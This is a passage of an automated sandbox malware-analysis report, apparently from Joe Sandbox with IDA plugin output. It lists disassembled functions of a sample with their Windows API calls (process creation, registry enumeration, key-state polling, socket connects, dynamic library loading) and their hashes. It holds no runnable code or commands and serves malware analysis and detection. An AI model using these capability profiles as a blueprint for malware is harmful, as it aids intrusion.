                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
                                                                                      • String ID: `b
                                                                                      • API String ID: 1687444384-3990468754
                                                                                      • Opcode ID: 5444df8ec7b099dca48e91206cc3238941e9122146f7ca2d84dd0320b7984b19
                                                                                      • Instruction ID: d624f062838a15d6e04f48a05b812cbb1f654d9b7c4a27ebac531f704abfbad6
                                                                                      • Opcode Fuzzy Hash: 5444df8ec7b099dca48e91206cc3238941e9122146f7ca2d84dd0320b7984b19
                                                                                      • Instruction Fuzzy Hash: 8D016D71404B06DFD720DFB5D909B4ABBF0FF94325F20890EA4AA976A0DB74AA44CF45
                                                                                      Function 0060E32E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40processCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 0060E33D
                                                                                      • _memset.LIBCMT ref: 0060E34C
                                                                                      • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00663D00,00663D44), ref: 0060E37B
                                                                                      • CloseHandle.KERNEL32 ref: 0060E38D
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _memset$CloseCreateHandleProcess
                                                                                      • String ID: D=f
                                                                                      • API String ID: 3277943733-1189834973
                                                                                      • Opcode ID: fbdb044031fb6618e1a8da39157de26a7bd92182c7980aaef66eef2a51ce2294
                                                                                      • Instruction ID: c22d7f24fc9d0029a9a8e2719b2f3f68134563f4e9a469e23dfbdc102862328e
                                                                                      • Opcode Fuzzy Hash: fbdb044031fb6618e1a8da39157de26a7bd92182c7980aaef66eef2a51ce2294
                                                                                      • Instruction Fuzzy Hash: BFF05EF1540324BEE3105F60AC49F777E5EEF05794F006421FF09D62A2D7B59E0086A8
                                                                                      Function 00601945 Relevance: 7.7, APIs: 5, Instructions: 232COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 006019F3
                                                                                      • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00601A26
                                                                                      • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00601B49
                                                                                      • CloseHandle.KERNEL32(?), ref: 00601BBF
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                                                                      • String ID:
                                                                                      • API String ID: 2364364464-0
                                                                                      • Opcode ID: fcf34969f9a4540cbf5a7f35e5dc0e43feb7623b8e8fd149ea77c75076c48c6b
                                                                                      • Instruction ID: 0bf2cd3daae6012e2d0642ca9821d98a4ff044fa577ecf63977c36778da5653e
                                                                                      • Opcode Fuzzy Hash: fcf34969f9a4540cbf5a7f35e5dc0e43feb7623b8e8fd149ea77c75076c48c6b
                                                                                      • Instruction Fuzzy Hash: 63817270640205ABDF14AF64C89ABAEBFE6BF45720F148459F905AF3C2D7B4AD418F90
                                                                                      Function 0060E062 Relevance: 7.7, APIs: 5, Instructions: 187windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0060E1D5
                                                                                      • SendMessageW.USER32(?,000000B0,?,?), ref: 0060E20D
                                                                                      • IsDlgButtonChecked.USER32(?,00000001), ref: 0060E248
                                                                                      • GetWindowLongW.USER32(?,000000EC), ref: 0060E269
                                                                                      • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0060E281
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$ButtonCheckedLongWindow
                                                                                      • String ID:
                                                                                      • API String ID: 3188977179-0
                                                                                      • Opcode ID: 87ff973c1e137442cbbb71c50ccee0f134951e78d0b682a24959eb964431fb9f
                                                                                      • Instruction ID: 56f4b79eca342ec7e9dfe301ffb9ef89d9959680bea44ac2d5c6701e755a40bd
                                                                                      • Opcode Fuzzy Hash: 87ff973c1e137442cbbb71c50ccee0f134951e78d0b682a24959eb964431fb9f
                                                                                      • Instruction Fuzzy Hash: 87619234A84614AFDB28CF58C854FEB7BBBEF4A300F144899E4569B3E1C772A951CB10
                                                                                      Function 005E1C9A Relevance: 7.7, APIs: 5, Instructions: 158COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • VariantInit.OLEAUT32(?), ref: 005E1CB4
                                                                                      • VariantClear.OLEAUT32(00000013), ref: 005E1D26
                                                                                      • VariantClear.OLEAUT32(00000000), ref: 005E1D81
                                                                                      • VariantClear.OLEAUT32(?), ref: 005E1DF8
                                                                                      • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 005E1E26
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Variant$Clear$ChangeInitType
                                                                                      • String ID:
                                                                                      • API String ID: 4136290138-0
                                                                                      • Opcode ID: 24c1a025f26be0e7a426139adc177762477df216d1fd48eeed978f96279b8b88
                                                                                      • Instruction ID: 230c952012536ed8703794a0045583521b922653726f1ca1010e4edf63ed3b56
                                                                                      • Opcode Fuzzy Hash: 24c1a025f26be0e7a426139adc177762477df216d1fd48eeed978f96279b8b88
                                                                                      • Instruction Fuzzy Hash: 7D5149B5A00649AFDB14CF58C880AAABBF9FF4C314B158559E959DB301D330EA51CBA4
                                                                                      Function 00600688 Relevance: 7.6, APIs: 5, Instructions: 149libraryloaderCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                      • LoadLibraryW.KERNEL32(?,00000004,?,?), ref: 006006EE
                                                                                      • GetProcAddress.KERNEL32(00000000,?), ref: 0060077D
                                                                                      • GetProcAddress.KERNEL32(00000000,00000000), ref: 0060079B
                                                                                      • GetProcAddress.KERNEL32(00000000,?), ref: 006007E1
                                                                                      • FreeLibrary.KERNEL32(00000000,00000004), ref: 006007FB
                                                                                        • Part of subcall function 005BE65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,005EA574,?,?,00000000,00000008), ref: 005BE675
                                                                                        • Part of subcall function 005BE65E: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,005EA574,?,?,00000000,00000008), ref: 005BE699
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                                                      • String ID:
                                                                                      • API String ID: 327935632-0
                                                                                      • Opcode ID: fa1f467e627e3d2484a0096058d4ce8b0ffb3b3076124ecc916f2113f2883ec4
                                                                                      • Instruction ID: 3755691ed9a44e89fd2509b033e1d5be482e18df16f1e91e41fe273bcc0cd20c
                                                                                      • Opcode Fuzzy Hash: fa1f467e627e3d2484a0096058d4ce8b0ffb3b3076124ecc916f2113f2883ec4
                                                                                      • Instruction Fuzzy Hash: 65516E75A40206DFDB14EFA8C485EEEBBB6BF89310F148055E916AB391DB30ED42CB50
                                                                                      Function 00602E29 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00603C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00602BB5,?,?), ref: 00603C1D
                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00602EEF
                                                                                      • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00602F2E
                                                                                      • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00602F75
                                                                                      • RegCloseKey.ADVAPI32(?,?), ref: 00602FA1
                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 00602FAE
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Close$BuffCharConnectEnumOpenRegistryUpper
                                                                                      • String ID:
                                                                                      • API String ID: 3740051246-0
                                                                                      • Opcode ID: 39fadd58d7a67e0b9afdea4b9634242aa1aa8f6c8c83b1e2d6cdac4c56f2718e
                                                                                      • Instruction ID: 90f9a860efe9bed050d76043eef431d0fc88127b6b1a12781127c124335e98e4
                                                                                      • Opcode Fuzzy Hash: 39fadd58d7a67e0b9afdea4b9634242aa1aa8f6c8c83b1e2d6cdac4c56f2718e
                                                                                      • Instruction Fuzzy Hash: 4E513771248246AFD708EF54C899E6FBBFABF88344F00481DF595972A1DB31E905CB52
                                                                                      Function 0060CCF7 Relevance: 7.6, APIs: 5, Instructions: 129COMMON
                                                                                      Download Yara Rule
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: eefd6cd87bb4864cc46f1abffe16eb24226a4a0ebaaf4c980d37a082b16bf2ff
                                                                                      • Instruction ID: 847411682a791b83d14863f638f0b0796dce74bb7efe8842ad54b5c92b3309e6
                                                                                      • Opcode Fuzzy Hash: eefd6cd87bb4864cc46f1abffe16eb24226a4a0ebaaf4c980d37a082b16bf2ff
                                                                                      • Instruction Fuzzy Hash: B741C339980505AFD728DB68CC58FEABB6AEF09320F140365F859A72E1C670AD02DA50
                                                                                      Function 005F1206 Relevance: 7.6, APIs: 5, Instructions: 127COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 005F12B4
                                                                                      • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 005F12DD
                                                                                      • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 005F131C
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                      • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 005F1341
                                                                                      • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 005F1349
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                                                      • String ID:
                                                                                      • API String ID: 1389676194-0
                                                                                      • Opcode ID: 480749792c07fcbb90002bf2787ffd5c84f04ef6f2147cb4b5206402296b5c01
                                                                                      • Instruction ID: 51ca31ece9ac8fb327715dc8971dba2a239b5609118948fbf3e48fbdd8653122
                                                                                      • Opcode Fuzzy Hash: 480749792c07fcbb90002bf2787ffd5c84f04ef6f2147cb4b5206402296b5c01
                                                                                      • Instruction Fuzzy Hash: 66410935600509DFCF01EF64C9859AEBBF5FF49314B148495E906AB3A2CB31ED01DB60
                                                                                      Function 005BB63C Relevance: 7.6, APIs: 5, Instructions: 110keyboardCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetCursorPos.USER32(000000FF), ref: 005BB64F
                                                                                      • ScreenToClient.USER32(00000000,000000FF), ref: 005BB66C
                                                                                      • GetAsyncKeyState.USER32(00000001), ref: 005BB691
                                                                                      • GetAsyncKeyState.USER32(00000002), ref: 005BB69F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AsyncState$ClientCursorScreen
                                                                                      • String ID:
                                                                                      • API String ID: 4210589936-0
                                                                                      • Opcode ID: 4397629aaca160a325d405cbb9258bb8bc1f72f5dbbbf2d97f980f1160d79a4e
                                                                                      • Instruction ID: 0a1e13aa7bbbddf81bceaed59ce7a4fa6df597bb052e608484928b404c1e0992
                                                                                      • Opcode Fuzzy Hash: 4397629aaca160a325d405cbb9258bb8bc1f72f5dbbbf2d97f980f1160d79a4e
                                                                                      • Instruction Fuzzy Hash: 37417F31504215FFDF199F64C844AE9BBB5FB05324F20431AF869962D0CBB0AE95DFA1
                                                                                      Function 005DB358 Relevance: 7.6, APIs: 5, Instructions: 88sleepwindowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetWindowRect.USER32(?,?), ref: 005DB369
                                                                                      • PostMessageW.USER32(?,00000201,00000001), ref: 005DB413
                                                                                      • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 005DB41B
                                                                                      • PostMessageW.USER32(?,00000202,00000000), ref: 005DB429
                                                                                      • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 005DB431
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessagePostSleep$RectWindow
                                                                                      • String ID:
                                                                                      • API String ID: 3382505437-0
                                                                                      • Opcode ID: 04067ae31cd793d16263d44619a2ff907a640fb7a85cd743d949adff7ea4246b
                                                                                      • Instruction ID: d1318f2d89658980d81776c35f1dbebf985ed32faf8711302874e208902c04b5
                                                                                      • Opcode Fuzzy Hash: 04067ae31cd793d16263d44619a2ff907a640fb7a85cd743d949adff7ea4246b
                                                                                      • Instruction Fuzzy Hash: CE31EE71900219EBEF20CF6CD94CA9E3FB6FB04315F11462AF820AA2D1C3B09911DB90
                                                                                      Function 005DDBBF Relevance: 7.6, APIs: 5, Instructions: 87windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • IsWindowVisible.USER32(?), ref: 005DDBD7
                                                                                      • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 005DDBF4
                                                                                      • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 005DDC2C
                                                                                      • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 005DDC52
                                                                                      • _wcsstr.LIBCMT ref: 005DDC5C
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                                                      • String ID:
                                                                                      • API String ID: 3902887630-0
                                                                                      • Opcode ID: 03336c8423e295fbdf38a1b06a9a27405d212bbf1ce8bfdfe467151ef150c6fa
                                                                                      • Instruction ID: 38cf17f674d02c079439a1f8e8864c0c50e32fb21f749c11d41e26187f2fa2c2
                                                                                      • Opcode Fuzzy Hash: 03336c8423e295fbdf38a1b06a9a27405d212bbf1ce8bfdfe467151ef150c6fa
                                                                                      • Instruction Fuzzy Hash: 7121C571214205BBEB355B799C49E7B7FA9FF85750F10402BF809CA2A1EAA1DC41D7A0
                                                                                      Function 005DBC77 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 005DBC90
                                                                                      • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 005DBCC2
                                                                                      • __itow.LIBCMT ref: 005DBCDA
                                                                                      • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 005DBD00
                                                                                      • __itow.LIBCMT ref: 005DBD11
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$__itow
                                                                                      • String ID:
                                                                                      • API String ID: 3379773720-0
                                                                                      • Opcode ID: 2c26420a6133388a34a6d0b04fdfbae48f98f98882bbc5195053308d0d676d25
                                                                                      • Instruction ID: edaadf6a54e51319e721d568c22a9c91a2b5aab91b850a109ad91d3416225966
                                                                                      • Opcode Fuzzy Hash: 2c26420a6133388a34a6d0b04fdfbae48f98f98882bbc5195053308d0d676d25
                                                                                      • Instruction Fuzzy Hash: E821CC75600605FAEB30AA698C49FDE7E6BFF8A710F111427F905EF292DB608D0587A1
                                                                                      Function 005E6318 Relevance: 7.6, APIs: 5, Instructions: 80COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A50E6: _wcsncpy.LIBCMT ref: 005A50FA
                                                                                      • GetFileAttributesW.KERNEL32(?,?,?,?,005E60C3), ref: 005E6369
                                                                                      • GetLastError.KERNEL32(?,?,?,005E60C3), ref: 005E6374
                                                                                      • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,005E60C3), ref: 005E6388
                                                                                      • _wcsrchr.LIBCMT ref: 005E63AA
                                                                                        • Part of subcall function 005E6318: CreateDirectoryW.KERNEL32(?,00000000,?,?,?,005E60C3), ref: 005E63E0
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: CreateDirectory$AttributesErrorFileLast_wcsncpy_wcsrchr
                                                                                      • String ID:
                                                                                      • API String ID: 3633006590-0
                                                                                      • Opcode ID: 172d63c7f44638ecbebc90c1d2e08d4f5ac764dd45435ed225d82197d4082f68
                                                                                      • Instruction ID: 0040005f14503554aa44daae518a76df80fce1bc3a6ca120331b609c3f32148f
                                                                                      • Opcode Fuzzy Hash: 172d63c7f44638ecbebc90c1d2e08d4f5ac764dd45435ed225d82197d4082f68
                                                                                      • Instruction Fuzzy Hash: B82108315046568BDB29EB799C4AFEE2B6CBF2D3E0F101869F085D30C1EB60D9858A54
                                                                                      Function 005F8B95 Relevance: 7.6, APIs: 5, Instructions: 71networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005FA82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 005FA84E
                                                                                      • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 005F8BD3
                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 005F8BE2
                                                                                      • connect.WSOCK32(00000000,?,00000010), ref: 005F8BFE
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLastconnectinet_addrsocket
                                                                                      • String ID:
                                                                                      • API String ID: 3701255441-0
